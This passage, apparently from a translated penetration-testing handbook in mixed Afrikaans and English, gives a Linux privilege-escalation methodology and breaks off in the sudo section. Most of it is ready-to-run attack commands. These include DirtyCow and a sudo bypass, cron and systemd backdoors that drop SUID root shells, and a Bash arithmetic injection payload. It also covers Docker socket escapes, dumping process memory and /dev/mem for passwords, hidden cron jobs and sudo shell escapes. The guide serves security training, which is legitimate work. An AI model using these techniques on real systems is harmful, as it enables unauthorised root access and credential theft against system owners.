Linux Privilege Escalation

Reading time: 65 minutes

Stelselinligting

OS-inligting

Kom ons begin om inligting oor die hardloopende OS in te samel

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Pad

As jy skryfregte op enige gids binne die PATH-veranderlike het, kan jy dalk sekere libraries of binaries kaap:

echo $PATH

Omgewingsinligting

Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes?

(env || set) 2>/dev/null

Kernel exploits

Kontroleer die kernel-weergawe en kyk of daar 'n exploit is wat gebruik kan word om te escalate privileges.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Jy kan 'n goeie lys van kwesbare kernel-weergawes en sommige reeds compiled exploits hier vind: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
Ander webwerwe waar jy sommige compiled exploits kan vind: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Om al die kwesbare kernel-weergawes vanaf daardie web te onttrek, kan jy die volgende doen:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Gereedskap wat kan help om na kernel exploits te soek, is:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)

Soek altyd die kernel-weergawe op Google, dalk word jou kernel-weergawe in 'n kernel exploit genoem en dan sal jy seker wees dat hierdie exploit geldig is.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo weergawe

Gebaseer op die kwesbare sudo-weergawes wat in die volgende verskyn:

searchsploit sudo

Jy kan nagaan of die sudo-weergawe kwesbaar is deur hierdie grep te gebruik.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.8.28

Van @sickrov

sudo -u#-1 /bin/bash

Dmesg handtekeningverifikasie het misluk

Kyk na smasher2 box of HTB vir 'n voorbeeld van hoe hierdie vuln uitgebuit kan word

dmesg 2>/dev/null | grep "signature"

Meer stelsel-ontleding

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Som moontlike verdedigings op

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

As jy binne 'n docker container is, kan jy probeer om daaruit te ontsnap:

Docker Security

Skywe

Kontroleer wat mounted en unmounted is, waar en waarom. As iets unmounted is, kan jy probeer om dit te mount en kyk vir privaat inligting

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Nuttige sagteware

Lys nuttige binaries

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Kyk ook of any compiler is installed. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die machine te compile waar jy dit gaan gebruik (of op een soortgelyk).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Geïnstalleerde kwesbare sagteware

Kontroleer die weergawe van die geïnstalleerde pakkette en dienste. Miskien is daar n ou Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om escalating privileges te verkry…
Dit word aanbeveel om die weergawes van die meer verdagte geïnstalleerde sagteware manueel te kontroleer.

dpkg -l #Debian
rpm -qa #Centos

As jy SSH-toegang tot die masjien het, kan jy ook openVAS gebruik om te kyk na verouderde en kwesbare sagteware wat op die masjien geïnstalleer is.

[!NOTE] > Neem asseblief kennis dat hierdie opdragte baie inligting sal vertoon wat meestal nutteloos sal wees; daarom word toepassings soos OpenVAS of soortgelykes aanbeveel wat sal kyk of enige geïnstalleerde sagteware-weergawe kwesbaar is vir bekende exploits

Prosesse

Kyk na watter prosesse uitgevoer word en kontroleer of enige proses meer bevoegdhede het as wat dit behoort te hê (byvoorbeeld 'n tomcat wat deur root uitgevoer word?)

ps aux
ps -ef
top -n 1

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas identifiseer dit deur die --inspect parameter binne die opdragreël van die proses te kontroleer.
Kontroleer ook jou bevoegdhede oor die proses se binaries; dalk kan jy iemand oorskryf.

Prosesmonitering

Jy kan gereedskap soos pspy gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes vervul is.

Prosesgeheue

Sommige dienste op 'n bediener berg credentials in plainteks in die geheue.
Gewoonlik benodig jy root privileges om die geheue van prosesse wat aan ander gebruikers behoort te lees; daarom is dit gewoonlik meer nuttig as jy reeds root is en meer credentials wil ontdek.
Onthou egter dat as 'n gewone gebruiker jy die geheue van die prosesse wat jy besit kan lees.

GDB

As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin na sy credentials soek.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Skript

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Vir 'n gegewe proses-ID, maps wys hoe geheue binne daardie proses se virtuele adresruimte toegeken is; dit wys ook die toestemmings van elke gemapte gebied. Die mem pseudo-lêer maak die proses se geheue self sigbaar. Uit die maps-lêer weet ons watter geheuegebiede leesbaar is en hul offsets. Ons gebruik hierdie inligting om in die mem-lêer te seek en alle leesbare gebiede te dump na 'n lêer.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem bied toegang tot die stelsel se fisiese geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan via /dev/kmem bereik word.
Tipies is /dev/mem slegs leesbaar deur root en kmem groep.

strings /dev/mem -n10 | grep -i PASS

ProcDump vir linux

ProcDump is 'n Linux-herinterpretasie van die klassieke ProcDump-hulpmiddel uit die Sysinternals-gereedskapstel vir Windows. Kry dit by https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Gereedskap

Om die prosesgeheue uit te lees kan jy die volgende gebruik:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Jy kan handmatig die root-vereistes verwyder en die proses wat aan jou behoort dump
• Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root word vereis)

Aanmeldbewyse uit prosesgeheue

Handmatige voorbeeld

As jy sien dat die authenticator-proses loop:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Jy kan dump the process (sien vorige afdelings om verskillende maniere te vind om dump the memory of a process) en soek vir credentials binne die memory:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Die tool https://github.com/huntergregal/mimipenguin sal platte-teks inlogbewyse uit geheue steel en uit sommige bekende lêers. Dit vereis root-voorregte om behoorlik te werk.

Soek Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Geskeduleerde/Cron jobs

Crontab UI (alseambusher) running as root – webgebaseerde scheduler privesc

As 'n web "Crontab UI" paneel (alseambusher/crontab-ui) as root loop en slegs aan loopback gebind is, kan jy dit steeds via SSH local port-forwarding bereik en 'n bevoorregte taak skep om op te skaal.

Tipiese ketting

• Vind 'n slegs-loopback-poort (bv. 127.0.0.1:8000) en die Basic-Auth realm via ss -ntlp / curl -v localhost:8000
• Vind credentials in operasionele artefakte:
• Backups/scripts met zip -P <password>
• systemd unit wat Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..." blootstel
• Tunnel en login:

ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate

• Skep 'n hoë-priv job en voer dit onmiddellik uit (drops SUID shell):

# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell

• Gebruik dit:

/tmp/rootshell -p   # root shell

Verharding

• Moet nie Crontab UI as root laat loop nie; beperk dit tot 'n toegewyde gebruiker met minimale permissies
• Bind aan localhost en beperk toegang verder deur firewall/VPN; hergebruik nie wagwoorde nie
• Vermy om geheime in unit files in te sluit; gebruik secret stores of root-only EnvironmentFile
• Skakel oudit/logging in vir on-demand taakuitvoerings

Kontroleer of enige geskeduleerde taak kwesbaar is. Dit kan wees dat jy voordeel kan trek uit 'n skrip wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die directory wat root gebruik?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron-pad

Byvoorbeeld, binne /etc/crontab kan jy die PATH vind: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Let wel dat die gebruiker "user" skryfregte oor /home/user het)

As binne hierdie crontab die root-gebruiker 'n opdrag of script probeer uitvoer sonder om die PATH te stel. Byvoorbeeld: * * * * root overwrite.sh
Dan kan jy 'n root shell kry deur te gebruik:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron wat 'n script gebruik met 'n wildcard (Wildcard Injection)

As 'n script wat deur root uitgevoer word 'n “*” in 'n opdrag het, kan jy dit uitbuit om onverwagte dinge te veroorsaak (soos privesc). Voorbeeld:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

As die wildcard voorafgegaan word deur 'n pad soos /some/path/* , is dit nie kwesbaar nie (selfs ./* nie).

Lees die volgende bladsy vir meer wildcard exploitation tricks:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash voer parameter expansion en command substitution uit voor arithmetic evaluation in ((...)), $((...)) en let. As 'n root cron/parser onbeheerde logvelde lees en dit in 'n arithmetic context invoer, kan 'n aanvaller 'n command substitution $(...) injekteer wat as root uitgevoer word wanneer die cron loop.

• Hoekom dit werk: In Bash gebeur uitbreidings in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word 'n waarde soos $(/bin/bash -c 'id > /tmp/pwn')0 eers vervang (die opdrag word uitgevoer), en dan word die oorblywende numeriese 0 vir die arithmetic gebruik sodat die skrip sonder foute voortgaan.

• Typical vulnerable pattern:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log

• Exploitation: Kry aanvaller-beheerde teks in die geparsde log geskryf sodat die numeries-ogende veld 'n command substitution bevat en op 'n syfer eindig. Verseker dat jou opdrag nie na stdout skryf nie (of herlei dit) sodat die arithmetic geldig bly.

# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Cron script overwriting and symlink

As jy 'n cron script kan wysig wat deur root uitgevoer word, kan jy baie maklik 'n shell kry:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

As die script wat deur root uitgevoer word 'n directory waarin jy volle toegang het gebruik, kan dit dalk nuttig wees om daardie folder te verwyder en 'n symlink folder na 'n ander een te skep wat 'n script uitvoer wat jy beheer.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Gereelde cron jobs

Jy kan die prosesse monitor om prosesse te soek wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit uitbuit en escalate privileges.

Byvoorbeeld, om elke 0.1s vir 1 minuut te monitor, sorteer op die minste uitgevoerde opdragte en verwyder die opdragte wat die meeste uitgevoer is, kan jy doen:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Jy kan ook gebruik maak van pspy (dit sal elke proses wat begin monitor en lys).

Onsigbare cron jobs

Dit is moontlik om 'n cronjob te skep deur 'n carriage return na 'n kommentaar te plaas (sonder 'n newline-karakter), en die cron job sal werk. Voorbeeld (let op die carriage return-karakter):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Dienste

Skryfbare .service lêers

Kyk of jy enige .service lêer kan skryf; as jy dit kan, kan jy dit wysig sodat dit jou backdoor uitvoer wanneer die diens begin, herbegin of gestop word (jy mag dalk moet wag totdat die masjien herbegin).
Byvoorbeeld skep jou backdoor binne die .service lêer met ExecStart=/tmp/script.sh

Skryfbare service-binaries

Hou in gedagte dat as jy skryftoestemmings oor binaries wat deur dienste uitgevoer word het, jy hulle kan verander om backdoors in te voeg sodat wanneer die dienste weer uitgevoer word die backdoors uitgevoer sal word.

systemd PATH - Relatiewe Paaie

Jy kan die PATH wat deur systemd gebruik word sien met:

systemctl show-environment

As jy vind dat jy in enige van die vouers van die pad kan skryf, mag jy dalk in staat wees om escalate privileges. Jy moet soek na relatiewe paaie wat in service-konfigurasielêers gebruik word soos:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Skep dan 'n executable met dieselfde naam as die relatiewe pad-binary binne die systemd PATH-gids waarop jy kan skryf, en wanneer die service gevra word om die kwesbare aksie (Start, Stop, Reload) uit te voer, sal jou backdoor uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie services begin/stop nie, maar kyk of jy sudo -l kan gebruik).

Leer meer oor dienste met man systemd.service.

Timers

Timers is systemd unit-lêers waarvan die naam eindig op **.timer** en wat **.service** lêers of gebeure beheer. Timers kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning vir kalendertydgebeure en monotoniese tydgebeure het en asynchroon uitgevoer kan word.

Jy kan al die timers lys met:

systemctl list-timers --all

Skryfbare timers

As jy 'n timer kan wysig, kan jy hom laat 'n bestaande systemd.unit uitvoer (soos 'n .service of 'n .target).

Unit=backdoor.service

In die dokumentasie kan jy lees wat die Unit is:

Die unit wat geaktiveer word wanneer hierdie timer verstryk. Die argument is 'n unit name, waarvan die agtervoegsel nie ".timer" is nie. As dit nie gespesifiseer is nie, val hierdie waarde terug op 'n service wat dieselfde naam as die timer unit het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit name wat geaktiveer word en die unit name van die timer unit identies genoem word, behalwe vir die agtervoegsel.

Daarom, om hierdie toestemming te misbruik, sal jy die volgende moet doen:

• Vind 'n systemd unit (soos 'n .service) wat 'n skryfbare binary uitvoer
• Vind 'n systemd unit wat 'n relatiewe pad uitvoer en waarop jy skryfregte oor die systemd PATH het (om daardie executable te imiteer)

Lees meer oor timers met man systemd.timer.

Timer aktivering

Om 'n timer te aktiveer het jy root privileges nodig en moet jy die volgende uitvoer:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) enable process communication on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through .socket files.

Sockets can be configured using .socket files.

Learn more about sockets with man systemd.socket. Inside this file, several interesting parameters can be configured:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: These options are different but a summary is used to indicate where it is going to listen to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
• Accept: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no.
• ExecStartPre, ExecStartPost: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
• ExecStopPre, ExecStopPost: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.
• Service: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.

Writable .socket files

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
Note that the system must be using that socket file configuration or the backdoor won't be executed

Writable sockets

If you identify any writable socket (now we are talking about Unix Sockets and not about the config .socket files), then you can communicate with that socket and maybe exploit a vulnerability.

Enumereer Unix Sockets

netstat -a -p --unix

Ruwe konneksie

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

Let daarop dat daar dalk sekere sockets wat na HTTP requests luister (Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree). Jy kan dit nagaan met:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

As die socket reageer met 'n HTTP versoek, kan jy daarmee kommunikeer en moontlik exploit some vulnerability.

Skryfbare Docker Socket

Die Docker socket, dikwels gevind by /var/run/docker.sock, is 'n kritiese lêer wat beveilig moet word. By verstek is dit skryfbaar deur die root gebruiker en lede van die docker groep. Om skryftoegang tot hierdie socket te hê kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.

Privilege Escalation with Docker CLI

As jy skryftoegang tot die Docker socket het, kan jy escalate privileges gebruik met die volgende opdragte:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Hierdie opdragte laat jou 'n container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel.

Gebruik van Docker API Direk

In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-sok steeds gemanipuleer word met die Docker API en curl-opdragte.

1. List Docker Images: Haal die lys van beskikbare images op.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Create a Container: Stuur 'n versoek om 'n container te skep wat die gasheerstelsel se root-gids mount.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Begin die pas geskepte container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Attach to the Container: Gebruik socat om 'n verbinding met die container te vestig, wat opdraguitvoering daarin moontlik maak.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Nadat die socat-verbinding opgestel is, kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel.

Ander

Let wel dat as jy skryftoestemmings oor die docker socket het omdat jy binne die groep docker is, het jy more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.

Check more ways to break out from docker or abuse it to escalate privileges in:

Docker Security

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus is 'n gesofistikeerde inter-proses kommunikasie (IPC) stelsel wat toepassings in staat stel om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp met moderne Linux-stelsels in gedagte, bied dit 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie.

Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit met die uitsending van gebeure of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n remote object system, wat diensteversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn.

D-Bus werk volgens 'n allow/deny-model en bestuur boodskaptoestemmings (method calls, signal emissions, ens.) op grond van die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik privilege escalation toelaat deur die uitbuiting van hierdie toestemmings.

'n Voorbeeld van so 'n beleid in /etc/dbus-1/system.d/wpa_supplicant.conf word gegee, wat toestemmings vir die root-gebruiker beskryf om fi.w1.wpa_supplicant1 te besit, daarheen te stuur en boodskappe daarvan te ontvang.

Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Leer hoe om 'n D-Bus-communikasie hier te enumerate en te exploit:

D-Bus Enumeration & Command Injection Privilege Escalation

Netwerk

Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind.

Algemene enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Oop poorte

Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy voor toegang nie kon kommunikeer nie:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Kontroleer of jy kan sniff traffic. As jy dit kan doen, kan jy moontlik sommige credentials kry.

timeout 1 tcpdump

Gebruikers

Generic Enumeration

Kontroleer wie jy is, watter privileges jy het, watter gebruikers in die stelsels is, watter kan login en watter het root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Groot UID

Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met UID > INT_MAX in staat stel om voorregte te eskaleer. More info: here, here and here.
Eksploiteer dit using: systemd-run -t /bin/bash

Groepe

Kyk of jy 'n lid van 'n groep is wat jou root-voorregte kan gee:

Interesting Groups - Linux Privesc

Klembord

Kyk of daar iets interessant in die klembord geleë is (indien moontlik)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Wagwoordbeleid

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Bekende wagwoorde

As jy enige wagwoord van die omgewing ken, probeer om met daardie wagwoord as elke gebruiker aan te meld.

Su Brute

As jy nie omgee om baie geraas te maak nie en die su en timeout binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met su-bruteforce.
Linpeas met die -a parameter probeer ook om gebruikers te brute-force.

Skryfbare $PATH-misbruik

$PATH

As jy ontdek dat jy in 'n gids van die $PATH kan skryf, kan jy moontlik voorregte verhoog deur 'n backdoor in die skryfbare gids te skep met die naam van 'n command wat deur 'n ander gebruiker (idealiter root) uitgevoer sal word en wat nie vanaf 'n gids gelaai word wat vóór jou skryfbare gids in $PATH geleë is nie.

SUDO and SUID

Jy mag toegelaat wees om 'n command met sudo uit te voer, of dit kan die suid-bit hê. Kontroleer dit met:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Sommige onverwagte commands laat jou toe om lêers te lees en/of te skryf of selfs 'n command uit te voer. Byvoorbeeld:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo-konfigurasie kan 'n gebruiker toelaat om 'n kommando met 'n ander gebruiker se bevoegdhede uit te voer sonder om die wagwoord te ken.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In hierdie voorbeeld kan die gebruiker demo vim as root uitvoer; dit is nou eenvoudig om 'n shell te kry deur 'n ssh-sleutel in die root-gids by te voeg of deur sh aan te roep.

sudo vim -c '!sh'

SETENV

Hierdie direktef laat die gebruiker toe om set an environment variable terwyl iets uitgevoer word:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

